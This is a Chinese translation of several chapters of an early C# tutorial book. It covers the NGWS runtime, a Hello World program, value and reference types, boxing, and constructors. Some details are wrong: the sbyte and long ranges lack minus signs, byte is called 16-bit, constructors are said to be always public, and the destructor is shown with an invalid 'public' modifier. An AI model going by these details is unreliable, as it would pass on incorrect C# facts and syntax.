另一个问题是，因为编程语言之间存在着一些差别，你不能在一种语言中重用另一种语言创建的类型。(COM用二进制标准接口部分地解决了这个问题)。 当今代码重用肯定是有限的。
发布应用程序的最大障碍是各种编程语言的对象模型不统一。几乎每一方面都存在着差异：事件、属性、永久保存(persistence)等等。
VOS这里将改变 这种现象 。VOS定义了描述值的类型，并规定了类型的所有值所必须支持的一条合约。由于前面提到的支持面向对象和过程编程语言，就存在着两种值和对象。

对于值，类型存储于表述(representation)中，同样操作也在其中实行。对象更强大因为它显式地存于表述中。每一个对象都有一个区别于其它对象的识别号。支持不同的VOS类型在第四章 "C#类型"中提出。

2.2.2元数据
尽管元数据用于描述和引用由VOS类型系统定义的类型，但它还不能锁定到这个单个目标。当你写一个程序时，通过利用类型声明，你所声明的类型(假定它们是数值类型或引用类型)被介绍给NGWS runtime类型系统。类型声明在存于PE可执行文件内部的元数据中得到描述。
基本上，元数据用于各项任务：用于表示NGWS runtime用途的信息，如定位和装载类、 内存中这些类的事例、解决调用 、翻译IL为原始码、加强安全并设置运行时上下文边界。
你不必关心元数据的生成。元数据是由C#的"代码转IL编译器"(code-to-IL compiler,不是JIT编译器)生成的。代码转IL编译器发送二进制元数据信息给PE文件，是以标准的方式发送的，不象C++编译器那样，为出口函数创建它们自己的修饰名字。
你从元数据和可执行代码并存所获得的主要优势为，有关类型的信息同类型自身固定在一起，不会遍布很多地方。同样有助于解决存在于COM中的版本问题。进一步地，你可以在相同的上下文中使用不同的版本库，因为库不仅被注册表引用，也被包含在可执行代码中的元数据引用。

2.2.3通用语言规范
通用语言规范(CLS)并不是虚拟对象系统(VOS)真正的一部分，它是特殊的。CLS定义了VOS中的一个类型子集，也定义了必须符合CLS的常规用法。
那么，对此有什么迷惑呢?如果一个类库遵守CLS规则，其它编程语言同样也遵守CLS规则，那么其它编程语言的客户也可以使用类库。CLS是关于语言的交互可操作性(interoperability)。因此，常规用法必须仅遵循外部可访问项目 (externally visible items)如方法、属性和事件等等。
我所描述的优点是你可以做以下工作。用C#写一个组件，在VB中派生它，因加在VB中的功能是如此之强大，在C#中再次从VB类派生它。只要所有的外部可访问项遵守CLS规则，这样是可行的。
我在这本书中出示的代码不关心CLS协定。但在构建你的类库时要注意到CLS协定。我提供了表2.1，用以给类型和外部可访问项定义协定规则。
这个清单不完整。它仅包含一些很重要的项目。我不指出出现在本书中每一种类型的CLS协定，所以有个好主意：当你寻找CLS协定时，至少应该用浏览该表，以了解哪种功能有效。不要担心你不熟悉这章表中的每一个含义，在这本书中你会学到它们。

表2.1 通能语言规范中的类型和功能

bool
char
byte
short
int
long
float
double
string
object(所有对象之母)

Arrays(数组)
数组的维数必须是已知的(>=1)，而且最小下标数必须为0。
要素类型必须是一个CLS类型。

类型(Types)
可以被抽象或隐藏。
零或更多的接口可以被实现。不同的接口允许拥有具有相同名字和签名的方法。
一个类型可以准确地从一个类型派生。允许成员被覆盖和被隐藏。
可以有零或更多的成员，它们是字段(fields)、方法、事件或者类型。
类型可以拥有零或更多个构造函数。
一种类型的可访问性可以是公共的或者对NGWS组件来说是局部的；但是，仅公共成员可以认为是类型接口的一部分。
所有的值型必须从系统值型继承。异常是一个枚举——它必须从系统枚举(System Enum)继承。

类型成员
类型成员允许隐藏或者覆盖另一种类型中的其它成员。
参数和返回值的类型都必须是 CLS 协定 类型。
构造函数、方法和属性可以被重载。
一个类型可以有抽象成员，但仅当类型不被封装时。

方法
一种方法可以是静态、虚拟或者实例。
虚拟和实例方法可以是抽象的，或者是一个实现。静态方法必须总拥有一个实现。
虚拟方法可能是最后的(或者不是)。

字段(Fields)
可以是静态或者是非静态。
静态字段可以被描述或只初始化。

属性
当获取和设置方法而不是使用属性语法时，属性可以公开。
获取的返回类型和设置方法的第一个参数必须是相同的CLS类型——属性的类型。
属性名字必须不同，不同的属性类型用于区分是不充分的。
由于使用方法实现属性访问，如果 PropertyName 是同一个类中定义的一个属性，你不能实现命名为 get_PropertyName 和 set_PropertyName 的方法。
属性可以被索引。
属性访问必须遵循这种命名格式：get_ProName，set_PropName。

枚举(Enumerations)
强调类型必须是byte、short、int 或long。
每一个成员是一个枚举类型的静态描述字段。
一个枚举不能实现任何接口。
你允许给多字段设定相同的值。
一个枚举必须继承系统枚举(隐含在C#中)

异常
可以被引发和被捕获。
自定义异常必须继承系统异常。

接口
可需要实现其它接口。
一个接口可以定义属性、事件和虚拟方法。实现取决于派生类。

事件
增加和取消方法必须是都提供或者都没有 ，每一种方法采用一个参数，它是一个从系统代表元(System Delegate)派生下来的类。

自定义属性
可以仅使用下更类型：Type(类型),char, char, bool, byte, short, int, long, float, double, enum (一种CLS 类型), and object.

代表元(Delegates)
可以被创建和被激活

标识符(Identifiers)
一个标识符的第一个字母必须来自一限制集。
通过大小写在单一范围内，不可能唯一地区别两个或更多个标识符(大小写不敏感)。

2.2.4虚拟执行系统(VES)
虚拟执行系统实现了虚拟对象系统。通过实现一个负责NGWS runtime的执行引擎(execution engine，缩写EE)创建VES。这个执行引擎执行你用C#编写和编译的应用程序。
下列组件为VES的一部分。
1、中间语言(IL)——被设计为很容易受各种各样的编译器所兼容 。在该框架之外，C++、VB和C#编译器都能够生成IL。
2、装入受管代码——这包括解决内存中的名字、 表层类(laying out classes )，并且创建JIT编译所必需的存根。通过执行经常性校验，包括加强一些访问规则，类装载器同样也增强了安全性。
3、用JIT转换IL成原始代码——IL代码并不是设计成为一种传统的解释字节代码或树型代码，IL转换是真正的编译。
4、装入元数据、校验类型安全和方法的完整性
5、垃圾收集(GC)和异常处理——两者都是基于堆栈格式的服务。受管代码允许你动态地跟踪堆栈。要动态地识别各个堆栈框架，JITter或其它编译器必须提供一个代码管理器。
6、描绘和查错服务——两者都取决于由源语言编译器所生成的信息。必须发出两个映射：一个映射从源语言结构发到指令流中的地址，一个映射从地址发到堆栈框架中的位置。当执行从IL到原始代码的转换时，这些映射被重新计算。
7、管理线程和上下文，还有远程管理——VES为受管代码提供这些服务。
虽然这个清单并不完整，但它足以让你理解运行时基于的由VES提供的低层架构。肯定将会有专门讨论运行时的书，而这本书将稍为深入地挖掘各种话题。

2.3 小结
这一章，我带你逛了一回运行时的世界。我描述了当创建、编译和配置C#程序时它是如何工作的。你学会了中间语言(IL)，还有元数据是如何用于描述被编译为IL的类型。元数据和IL都用于JITter检测和执行你的代码。你甚至可以选择用哪一种JITter来执行应用程序。
在这一章的第二部分，涉及到了运行时为何按这种方式工作的理论。你学了虚拟对象系统(VOS)和组成它的那部分。对于类库设计者最为感兴趣的就是通用语言规范(CLS)，它为基于VOS的语言交互操作设定规则。最后，你看到了虚拟执行系统(VES)如何通过NGWS runtime实现VOS。


csdn_《.net编程先锋C#》第三章 第一个C#应用程序

《.net编程先锋C#》第三章 第一个C#应用程序

第三章 第一个C#应用程序
3.0 选择一个编辑器
尽管我是一个顽固的Notepad狂，但这次我不建议用它编辑源码。原因是你正在与真正的编程语言打交道，使用Notepad编辑源码编译时可能产生大量的错误信息行(C++程序员知道我在说什么。)
你有几种选择。可以重新配置你信任的老式Visual C++ 6.0，使它能够和C#源文件一起工作。第二种选择是使用新的Visual Studio 7。第三，你可以用任何第三方程序编辑器，最好要支持行数、色彩编码、工具集成和良好的搜索功能。CodeWright就是其中一个例子，如图3.1所示。

图3.1 CodeWright 是你可以用于创建C#代码文件众多可能编辑器中的一个。

当然，在所提到的编辑器中，没有一个对创建C#程序来说是必要的。用Notepad肯定可以编辑。但是，如果你考虑到要编写更大的项目，最好还是忍痛割爱吧。

3.1 "Hello World" 代码
讨论编辑器有点离题 ，让我们把话题转回到一个非常出名的小应用程序。这个最短的C#版本应用程序见清单3.1。把它存起来，文件名为 helloworld.cs，以便使你能按照说明，完成诸如编译应用程序等其它余下来的步骤。

清单 3.1 最简单的 "Hello World "程序

1: class HelloWorld
2: {
3: public static void Main()
4: {
5: System.Console.WriteLine("Hello World");
6: }
7: }

在C#中，代码块(语句组)由大括弧({和})所括住。所以，甚至你以前没有C++的经验，你也可以说出Main()方法就是HelloWorld 类语句的一部分，因为类被括在所定义的大括弧中。
C#应用程序(可执行)的入口点就是 static Main 方法，它必须包含在一个类中。仅有一个类能使用该标志定义，除非你告诉编译器它应使用哪一个 Main 方法(否侧，会产生一个编译错误)。
和C++相比，Main的第一个字母是大写的M，而不是你曾经使用过的小写字母。在这个方法中，你的程序开始并结束。方法中可以调用其它方法——如这个例子中，用于输出文本——或者创建对象并激活该方法。
正如你所看到的，Main方法返回一个void类型。
public static void Main()
尽管看到这些语句时，C++程序员肯定会觉得似曾相识，但是其他程序员并不如此。首先，public 的访问标志告诉我们这个方法可以被任何程序访问，这是它被调用的必要条件。其次，static 意味着没有先创建类的实例也可以调用方法——你所要做的就是用类名调用方法。
HelloWorld.Main();
但是，我不赞成在Main方法中执行这行代码，递归会导致堆栈溢出。
另一重要的方面是返回类型。对于方法Main，可选择void (意味着根本就没有返回值)，或用int 为整型结果(应用程序返回的错误级别)。因此，两种可能的Main方法为：
public static void Main()
public static int Main()

C++程序员会同样知道后面我要提到的——可以传给应用程序的命令行参数数组。如：
public static void Main(string[] args)

我现在并不想详细地说明如何访问参数，但我想事先给C++程序员一个警告：和C++相比，应用程序路径不是这个数组的一部分。仅仅那些参数包含在这个数组中。
在对Main方法并不简短的介绍之后，让我们把注意力集中到唯一真正的代码行——这行代码在屏幕上显示"Hello Wold"。
System.Console.WriteLine("Hello World");
假如不是由于有了System，大家会马上猜到WriteLine是Console 对象的一个静态方法。那么System代表什么呢? 它是包含Console对象的名字空间(范围)，实际上并不是每次都在Console对象前加上名字空间的前缀，你可以象清单3.2所示范的那样，在应用程序中引入名字空间。

清单3.2 在应用程序中引入名字空间
1: using System;
2:
3: class HelloWorld
4: {
5: public static void Main()
6: {
7: Console.WriteLine("Hello World");
8: }
9: }

所有你要做的就是给System名字空间加一个using指令。在这之后，不再需要规定名字空间，就可以使用它们的方法和属性了。NGWS 框架体系中有很多的名字空间，我只对巨大的名字空间池中的少数几个对象进行探讨。但在第八章 "用C#写组件"将介绍为你的对象创建自己的名字空间。

3.2 编译应用程序
由于NGWS Runtime支持所有的编译器(VB、C++和C#)，你不必买一个单独的开发工具用来把应用程序编译成IL(中间语言)。但是，如果你从没有用过命令行编译器编译过应用程序(仅懂得编译名，而没有熟记)， 它还是你的首要选择。
打开命令提示符并切换到存 helloworld.cs 的目录。敲入以下命令：
csc helloworld.cs

helloworld.cs 被编译并链接成hellworld.exe。因为源码没有错误(那当然！)，C#编译器没有出错提示，在整个编译过程没有丝毫停顿。如图3.2所示。

图3.2 使用命令行编译器 csc.exe 编译应用程序

现在你已经准备好运行第一个真正用C#编写的应用程序。简单地在命令行上敲入helloworld，输出结果为 "Hello World"。
在继续往下介绍之前， 我想稍为想象一下第一个应用程序和一个编译器开关的使用：
csc /out:hello.exe helloworld.cs
这个开关告诉编译器输出文件命名为hello.exe。虽然这不是什么绝招，但它是这本书中用到的未来编译器的基本功。
3.3 输入和输出
到目前为止，我仅仅演示了把简单的常量字符串输出到屏幕。尽管这本书只介绍了C#编程的概念而不介绍用户接口编程，但我需要让你迅速学会简单的屏幕输入和输出方法——相应于C的scanf 和 printf，或者C++的cin 和cout。我不能提供VB相应的函数，因为屏幕访问不是该核心语言的一部分。
你只需要能够读用户的输入并提示一些信息给用户。清单3.3 说明如何读一个用户请求的名字输入，并显示一条已定制好的"Hello" 信息。

Listing 3.3 从控制台读输入信息

1: using System;
2:
3: class InputOutput
4: {
5: public static void Main()
6: {
7: Console.Write("Please enter your name: ");
8: string strName = Console.ReadLine();
9: Console.WriteLine("Hello " + strName);
10: }
11: }

第7行使用Console对象的一个新方法用于提示文本信息给用户，它就是Write方法。它与WriteLine不同的地方在于它输出时不换行。我使用这种方法以便用户可以在信息提示的同一行输入名字。
在用户输入他的名字后(并按回车键)，ReadLine 方法读入了一个字符串变量。名字字符串连接到常量字符串"Hello"，并用我们早已熟悉的WriteLine方法显示出来(见图3.2)。

图3.3 编译和运行定制的Hello 应用程序

你几乎已学完了NGWS框架必要的输入和输出功能。但是，你还需要为用户显示多个值。为用户写一个格式串。清单3.4展示一个例子。

清单 3.4 使用不同的输出方法

1: using System;
2:
3: class InputOutput
4: {
5: public static void Main()
6: {
7: Console.Write("Please enter your name: ");
8: string strName = Console.ReadLine();
9: Console.WriteLine("Hello {0}",strName);
10: }
11: }

第9行包含了使用格式串的Console.WriteLine语句。格式串例子如下：
"Hello {0}"
{0}代替WriteLine方法的参数表中紧随格式串后的第一个变量。你可以用该技术格式化超过三个变量。
Console.WriteLine("Hello {0} {1}, from {2}",
strFirstname, strLastname, strCity);

当然，并不仅限于只使用字符串变量。你可以使用任何类型，这些类型在后面的第四章 "C#类型"中有讨论。

3.4 添加注释
当写代码时，你应为代码写注释条文，解释实现的内容、变更史等。尽管你注释中提供的信息(如果有的话)是给你写的，但是你还是必须遵守写C#注释的方法。清单3.5 显示采用的两种不同的方式。

清单3.5 给你的代码添加注释

1: using System;
2:
3: class HelloWorld
4: {
5: public static void Main()
6: {
7: // 这是单行注释
8: /* 这种注释
9: 跨越多行 */
10: Console.WriteLine(/*"Hello World"*/);
11: }
12: }

"//" 符号用于单行注释。你可以用"//"注释当前所在行，或是跟在一个代码语句的后面：
int nMyVar = 10; // 胡说八道
所有在"//"后面的被认为是一条注释；所以，你可以同样用它们来注释一整行或一行源代码的部分。这种注释方式同C++中介绍的相似。
如果你的注释跨越多行，必须使用"/* */"的字符组合。这种方式在C中有效。除了单行注释外，这种方式在C++和C#中还同样有效。因C/C++和C#都使用这种多行注释方式，所以它们也使用相同的终结符。请看下列代码行：
/* Console.WriteLine("Hello World"); */

我使用"/* */"简单地注释一整行。现在我假定这一行是很长代码的一部分，而且我决定要暂时禁用一个程序块：
/*
...
/* Console.WriteLine("Hello World"); */
...
*/

这个结构所存在的问题为： "Hello World"那一行后面的"*/"终止了始于第一行的"/*"的注释，余下的代码对编译器有效，你将看到一些有趣的出错信息。至少 最后的"*/"被标志为归属错误。我只不过想提醒一下，让你了解这种错误。

3.5小结
在这一章中，你创建、编译并执行了第一个C#应用程序：著名的"Hello World"程序。我用这个短短的应用程序给你介绍有关Main方法，它是一个应用程序的入口点，也是出口点。这个方法可以没有返回值或返回一个整数错误级别。如果你的应用程序用参数调用，你可以(但不必要)读出并使用它们。
在编译和测试应用程序后，你学到了更多的由Console对象提供的有关输入和输出的方法。对于学习C#而言，它们足以创建出有意义的控制台例子，但用户接口的大部分将是WFC、WinForms或者ASP+。


csdn_《.net编程先锋C#》第四章 C#类型

《.net编程先锋C#》第四章 C#类型

第四章 C#类型
既然你知道了怎样创建一个简单的C#程序，我将会给你介绍C#的类型系统。在这一章中，你学到如何使用不同的值和引用类型，加框和消框机制能为你作些什么。尽管这一章的不侧重于例子，但你可以学到很多重要的信息，关于如何创建现成类型的程序。
4.1 值类型
各种值类型总是含有相应该类型的一个值。C#迫使你初始化变量才能使用它们进行计算-变量没有初始化不会出问题，因为当你企图使用它们时，编译器会告诉你。 每当把一个值赋给一个值类型时，该值实际上被拷贝了。相比，对于引用类型，仅是引用被拷贝了，而实际的值仍然保留在相同的内存位置，但现在有两个对象指向了它（引用它）。C#的值类型可以归类如下：
·简单类型（Simple types ）
·结构类型（struct types）
·枚举类型（Enumeration types）
4.1.1 简单类型
在C#中出现的简单类型共享一些特性。第一，它们都是.NET系统类型的别名。第二，由简单类型组成的常量表达式仅在编译时而不是运行时受检测。最后，简单类型可以按字面被初始化。以下为C#简单类型归类：
·整型
·布尔型
· 字符型 (整型的一种特殊情况)
·浮点型
·小数型

4.1.1.1 整型
C#中有9个整型。 sbyte 、byte、 short、 ushort、 int、 uint、 long、 ulong 和 char（单独一节讨论）。它们具有以下特性：

·sbyte型为有符号8位整数，取值范围在128~127之间。
·bytet型为无符号16位整数，取值范围在0~255之间。
·short型为有符号16位整数，取值范围在-32,768~32,767之间。
·ushort型为无符号16位整数，取值范围在0~65,535之间。
·int型为有符号32位整数，取值范围在-2,147,483,648~ 2,147,483,647之间。
·uint型为无符号32位整数，取值范围在 0 ~ 4,294,967,295之间。
·long型为64位有符号整数，取值范围在9,223,372,036,854,775,808~ 9,223,372,036,854,775,807之间。
·ulong型为64位无符号整数，取值范围在0 ~ 18,446,744,073,709,551,615之间。

VB和C程序员都可能会对int和long数据类型所代表的新范围感到惊讶。和其它的编程语言相比，在C#中，int不再取决于一个机器的字（word)的大小，而long被设成64位。

4.1.1.2 布尔型
布尔数据类型有true和false两个布尔值。可以赋于true或false值给一个布尔变量，或可以赋于一个表达式，其所求出的值等于两者之一：
bool bTest = (80 > 90);
与C和C++相比，在C#中，true值不再为任何非零值。不要为了增加方便而把其它整型转换成布尔型。

4.1.1.3 字符型
字符型为一个单Unicode 字符。一个Unicode字符16位长，它可以用来表示世界上多种语言。可以按以下方法给一个字符变量赋值：
char chSomeChar = 'A';
除此之外，可以通过十六进制转义符（前缀\x）或Unicode表示法给变量赋值（前缀\u）：
char chSomeChar = '\x0065';
char chSomeChar = '\u0065';
不存在把char转换成其它数据类型的隐式转换。这就意味着，在C#中把一个字符变量当作另外的整数数据类型看待是行不通的——这是C程序员必须改变习惯的另一个方面。但是，可以运用显式转换：
char chSomeChar = (char)65;
int nSomeInt = (int)'A';
在C中仍然存在着转义符（字符含义）。要换换脑筋，请看表4.1。

Table 4.1 转义符（ Escape Sequences）

转义符 字符名
\' 单引号
\" 双引号
\\ 反斜杠
\0 空字符
\a 感叹号（Alert ）
\b 退格
\f 换页
\n 新行
\r 回车
\t 水平 tab
\v 垂直tab

4.1.1.4 浮点型
两种数据类型被当作浮点型：float和double。它们的差别在于取值范围和精度：
float: 取值范围在 1.5x10^-45~ 3.4x10^38之间， 精度为7位数。
double: 取值范围在 5.0x10^-324 ~ 1.7x10^308之间， 精度为 15~16 位数。
当用两种浮点型执行运算时，可以产生以下的值：
正零和负零
正无穷和负无穷
非数字值（Not-a-Number，缩写NaN）
非零值的有限数集
另一个运算规则为，当表达式中的一个值是浮点型时，所有其它的类型都要被转换成浮点型才能执行运算。

4.1.1.5 小数型（The decimal Type)
小数型是一种高精度、128位数据类型，它打算用于金融和货币的计算。它所表示的范围从大约1.0x10^-28 到 7.9x10^28，具有28至29位有效数字。要注意，精度是以位数 (digits)而不是以小数位（decimal places)表示。运算准确到28个小数位的最大值。
正如你所看到的，它的取值范围比double的还窄，但它更精确。因此，没有decimal和double之间的隐式转换——往一个方向转换可能会溢出，往另外一个方向可能会丢失精度。你不得不运用显式转换。
当定义一个变量并赋值给它时，使用 m 后缀以表明它是一个小数型：
decimal decMyValue = 1.0m;
如果省略了m，在变量被赋值之前，它将被编译器认作double型。

4.1.2 结构类型
一个结构类型可以声明构造函数、常数、字段、方法、属性、索引、操作符和嵌套类型。尽管列出来的功能看起来象一个成熟的类，但在C#中，结构和类的区别在于结构是一个值类型，而类是一个引用类型。与C++相比，这里可以用结构关键字定义一个类。
使用结构的主要思想是用于创建小型的对象，如Point和FileInfo等等。你可以节省内存，因为没有如类对象所需的那样有额外的引用产生。例如，当声明含有成千上万个对象的数组时，这会引起极大的差异。
清单4.1 包含一个命名为IP的简单结构，它表示一个使用byte类型的4个字段的IP地址。我不包括方法等，因为这些工作正如使用类一样，将在下一章有详细的描述。

清单4.1 定义一个简单的结构

1: using System;
2:
3: struct IP
4: {
5: public byte b1,b2,b3,b4;
6: }
7:
8: class Test
9: {
10: public static void Main()
11: {
12: IP myIP;
13: myIP.b1 = 192;
14: myIP.b2 = 168;
15: myIP.b3 = 1;
16: myIP.b4 = 101;
17: Console.Write("{0}.{1}.",myIP.b1,myIP.b2);
18: Console.Write("{0}.{1}",myIP.b3,myIP.b4);
19: }
20: }

4.1.3 枚举类型
当你想声明一个由一指定常量集合组成的独特类型时，枚举类型正是你要寻觅的。最简单的形式，它看起来可能象这样：
enum MonthNames { January, February, March, April };
因我惯用缺省设置，故枚举元素是int型，且第一个元素为0值。每一个连续的元素按1递增。如果你想给第一个元素直接赋值，可以如下把它设成1：
enum MonthNames { January=1, February, March, April };
如果你想赋任意值给每个元素——甚至相同的值——这也没有问题：
enum MonthNames { January=31, February=28, March=31, April=30 };
最后的选择是不同于int的数据类型。可以在一条语句中按如此赋值：
enum MonthNames : byte { January=31, February=28, March=31, April=30 };
你可以使用的类型仅限于long、int、short和byte。

4.2 引用类型
和值类型相比，引用类型不存储它们所代表的实际数据，但它们存储实际数据的引用。在C#中提供以下引用类型给你使用：
·对象类型
·类类 型
·接口
·代表元
·字符串类型
·数组

4.2.1 对象类型
对象类型是所有类型之母——它是其它类型最根本的基类。因为它是所有对象的基类，所以可把任何类型的值赋给它。例如，一个整型：
object theObj = 123;
给所有的C++程序员一个警告：object并不等价于你可能正在寻找的void*。无论如何，忘掉指针总是个好主意。
当一个值类型被加框（作为一个对象利用）时，对象类型就被使用了。这一章稍后会讨论到加框和消框

4.2.2 类类型
一个类类型可以包含数据成员、函数成员和嵌套类型。数据成员是常量、字段和事件。函数成员包括方法、属性、索引、操作符、构造函数和析构函数。类和结构的功能是非常相似的，但正如前面所述，结构是值类型而类是引用类型。
和C++相比，仅允许单继承。（你不能拥有派生一个新对象的多重基类。） 但是，C#中的一个类可以派生自多重接口，该接口在下一节将得到描述。
第五章 “类”专门讨论使用类编程。这一节仅打算给出C#类在哪里适合类型图的一个全貌。

4.2.3 接口
一个接口声明一个只有抽象成员的引用类型。跟C++中相似的概念为：一个结构的成员，且方法等于0。如果你不知道那些概念的任何东西，这里就是在C#中一个接口实际所做的。仅仅只存在着方法标志，但根本就没有执行代码。这就暗示了不能实例化一个接口，只能实例化一个派生自该接口的对象。
可以在一个接口中定义方法、属性和索引。所以，对比一个类，接口有什么特殊性呢？当定义一个类时，可以派生自多重接口，而你只能可以从仅有的一个类派生。
你可能会问："OK，但我必须实现所有的接口成员，那么我能从这个途径得到什么呢?" 我想举一个来自.NET的例子：很多类实现了IDictionary 接口。你可以使用简单的类型转换访问接口：
IDictionary myDict = (IDictionary)someobjectthatsupportsit;
现在你的代码可以访问字典了。可等等，我说很多类可以实现这个接口——所以，你可以在多个地方重用代码来访问IDictionary 接口！一旦学会，任何地方都可使用。
当你决定在类设计中使用接口时，学习更多关于面向对象的设计是个好主意。这本书不能教你这些概念，但你可以学习如何创建接口。以下的代码段定义接口IFace，它只有一个方法：
interface IFace
{
void ShowMyFace();
}
正如我所提到的，不能从这个定义实例化一个对象，但可以从它派生一个类。因此，该类必须实现ShowMyFace抽象方法：
class CFace:IFace
{
public void ShowMyFace()
{
Console.WriteLine("implementation");
}
}

接口成员和类成员的区别在于，接口成员不能被实现。因此，我不想在下一章中再次提到这一点。

4.2.4 代表元
一个代表元封装了具有一些标志的一个方法。基本上，代表元是类型安全和函数指针的安全版本(回调功能)。可以同时在一个代表元实例中同时封装静态和实例方法。
尽管你可以用代表员当作具有方法，但它们的主要用途是拥有有一个类事件。再次，我想把你引到下一章，那里会详细地讨论类。
4.2.5 字符串类型
C程序员可能会诧异，但当然，C#有一个用于操作字符串数据的基本字符串类型。字符串类直接派生自对象，且它是被密封的，这意味着再不能从它派生类。就象其它类型，字符串是预定义类System String的一个别名。
它的用法十分简单：
string myString = "some text";
合并字符串同样简单：
string myString = "some text" + " and a bit more";
而如果你想访问单个字符，所要做的就是访问下标：
char chFirst = myString[0];
当比较两个字符串是否相等时，简单地使用"=="比较操作符。
if (myString == yourString) ...
我只不过想提到，尽管字符串是一个引用类型，比较时是比较值，而不是比较引用(内存地址)。
字符串类型几乎用于这本书的每一个例子中，而且在这些例程中，我会介绍给你一些由字符串对象所显露的极其有趣的方法。
4.2.6 数组
一个数组包含有通过计算下标访问的变量。所有包含于数组中且被当作元素的变量必须是同一类型。这种类型自然被称为"数组类型"。数组可以存储整数对象、字符串对象或者 你提出的任何对象。
数组的维数就是所谓的排(rank)，它决定了相关数组元素的下标数。最常用的数组是一维数组(第一排)。一个多维数组具有的排数大于1 。每个维的下标始于0，终于维的长度减1 。
应有足够的理论支持。让我们看一下用一个数组初始化器( array initializer)初始化的数组：
string[] arrLanguages = { "C", "C++", "C#" };
该简写效果等同以下：
arrLanguages[0]="C"; arrLanguages[1]="C++"; arrLanguages[2]="C#";
而编译器为你做了所有的工作。当然，它将同样为多维数组初始化器工作：
int[,] arr = {{0,1}, {2,3}, {4,5}};
它是以下的简写：
arr[0,0] = 0; arr[0,1] = 1;
arr[1,0] = 2; arr[1,1] = 3;
arr[2,0] = 4; arr[2,1] = 5;
如果你不想事先初始化一个数组，但知道了它的大小，该声明就象这样：
int[,] myArr = new int[5,3];
如果数组的大小必须动态地被计算，用于数组创建的语句可以象这样写：
int nVar = 5;
int[] arrToo = new int[nVar];
正如我在这一节开始所陈述的，你可以往数组里面塞任何东西，只要所有的元素类型都相同。因此，如果你想把任何东西放进一个数组，就声明它的类型为对象：

4.3 加框和消框
这一章的课程中，我已经给出了各式各样的值类型和引用类型。由于速度的原因，你会使用值类型——它除了占据一定空间的内存块外，就没有什么了。但是，有时对象的方便性就象值类型一样好用。
这就是加框和消框登上了舞台的地方，加框和消框是C#类型系统的核心概念。通过允许一个值类型转换成类型对象或从类型对象转换成值类型，这种机制形成了值类型和引用类型之间的捆绑连接。任何东西终究是一个对象——但是，仅当需要它们是对象时。
4.3.1 加框转换
给一个值加框指隐式地把任何值类型转换成类型对象。当一个值类型被加框时，一个对象实例就被分配，且值类型的值被拷贝给新的对象。
看以下例子：
int nFunny = 2000;
object oFunny = nFunny;
第二行的赋值暗示调用一个加框操作。nFunny整型变量的值被拷贝给oFunny对象。现在整型变量和对象变量都同时存在于栈中，但对象的值居留在堆中。
那么，它暗示着什么呢?它们的值互相独立——在它们之间没有连接。(oFunny没有引用nFunny的值。) 以下代码说明了结果：
int nFunny = 2000;
object oFunny = nFunny;
oFunny = 2001;
Console.WriteLine("{0} {1}", nFunny, oFunny);
当代码改变oFunny的值时，nFunny的值并没有改变。只要你脑袋中有这个copy动作，就能够使用值类型的对象功能，发挥出你的巨大优势！
4.3.2 消框转换
和加框相比，消框是显式操作——必须告诉编译器，你想从对象中抽取出哪一种值类型。当执行消框操作时，C#检测所请求的值类型实际上存储在对象实例中。经过成功的校验，该值被消框。

这就是消框如何执行：
int nFunny = 2000;
object oFunny = nFunny;
int nNotSoFunny = (int)oFunny;

如果错误地请求一个double值
double nNotSoFunny = (double)oFunny;
通用语言运行时(Common Language Runtime，简写CLR)将会引发一个InvalidCastException异常。你可以在第7章 "异常处理" 中学到更多有关异常处理的知识。

4.4 小结
在这一章中，你学到了C#中用到的各种类型。简单的值类型包括整型、布尔型、浮点型和小数型。你会非常经常地用到一些类型，进行数学和金融的计算，还有逻辑表达。
在介绍引用类型之前，我显示了一个看起来象类的结构类型。它几乎如一个类般地运作，但它只是一个值类型，这使它更加适合需要有大量的小对象的场合。
引用类型起始于所有对象之母的objedt本身。object是C#中所有对象的基类，且它同样用于值类型的加框和消框。除此之外，我还让你领略了代表元、字符串和数组。
令C#程序员十分神气的类型就是类。它是C#面向对象编程的心脏，下一章整章专门让你迅速理解这个激动人心且功能强大的类型。


csdn_《.net编程先锋C#》第五章 类

《.net编程先锋C#》第五章 类

第五章 类
前一章讨论了数据类型和它们的用法。现在我们转移到C#中至关重要的结构——类。没有了
类，就连简单的C#程序都不能编译。这一章假定你知道了一个类的基本组成部分：方法、属性、构

造函数和析构函数。 C#在其中增加了索引和事件。
在这一章中，你学到下列有关类的话题。
。 使用构造函数和析构函数
。给类写方法
。给一个类增加属性存取标志
。实现索引
。创建事件并通过代表元为事件关联客户
。应用类、成员和存取修饰符。

5.1 构造函数和析构函数
在你可以访问一个类的方法、属性或任何其它东西之前， 第一条执行的语句是包含有相

应类的构造函数。甚至你自己不写一个构造函数，也会有一个缺省的构造函数提供给你。

class TestClass
{
public TestClass(): base() {} // 由编译器提供
}

一个构造函数总是和它的类名相同，但是，它没有声明返回类型。总之，构造函数总是

public的，你可以用它们来初始化变量。

public TestClass()
{
// 在这给变量
// 初始化代码等等。
}

如果类仅包含静态成员(能以类型调用，而不是以实例调用的成员)，你可以创建一个

private的构造函数。
private TestClass() {}
尽管存取修饰符在这一章的后面将要大篇幅地讨论，但是private意味着从类的外面不可能

访问该构造函数。所以，它不能被调用，且没有对象可以自该类定义被实例化。
并不仅限于无参数构造函数——你可以传递初始参数来初始化成员。
public TestClass(string strName, int nAge) { ... }

作为一个C/C++程序员，你可能习惯于给初始化写一个附加的方法，因为在构造函数中没有

返回值。当然，尽管在C#中也没有返回值，但你可以引发一个自制的异常，以从构造函数获得返回

值。更多有关异常处理的知识在第七章 "异常处理"中有讨论。
但是，当你保留引用给宝贵的资源，应该想到写一个方法来解决：一个可以被显式地调用来

释放这些资源。问题是当你可以在析构函数(以类名的前面加"~"的方式命名)中做同样的事情时，为

何还要写一个附加的方法.
public ~TestClass()
{
// 清除
}

你应该写一个附加方法的原因是垃圾收集器，它在变量超出范围后并不会立即被调用，而仅当

间歇期间或内存条件满足时才被触发。当你锁住资源的时间长于你所计划的时间时，它就会发生。

因此，提供一个显式的释放方式是一个好主意，它同样能从析构函数中调用。

public void Release()
{
// 释放所有宝贵的资源
}

public ~TestClass()
{
Release();
}

调用析构函数中的释放方法并不是必要的——总之，垃圾收集会留意释放对象。但没有忘记清

除是一种良好的习惯。

5.2 方法
既然对象能正确地初始化和结束，所剩下来的就是往类中增加功能。在大多数情况下，功能的

主要部分在方法中能得到实现。你早已见过静态方法的使用，但是，这些是类型(类)的部分，不是

实例(对象)。
为了让你迅速入门，我把这些方法的烦琐问题安排为三节：
。方法参数
。改写方法
。方法屏蔽
5.2.1 方法参数
因方法要处理更改数值，你多多少少要传递值给方法，并从方法获得返回值。以下三个部分涉及

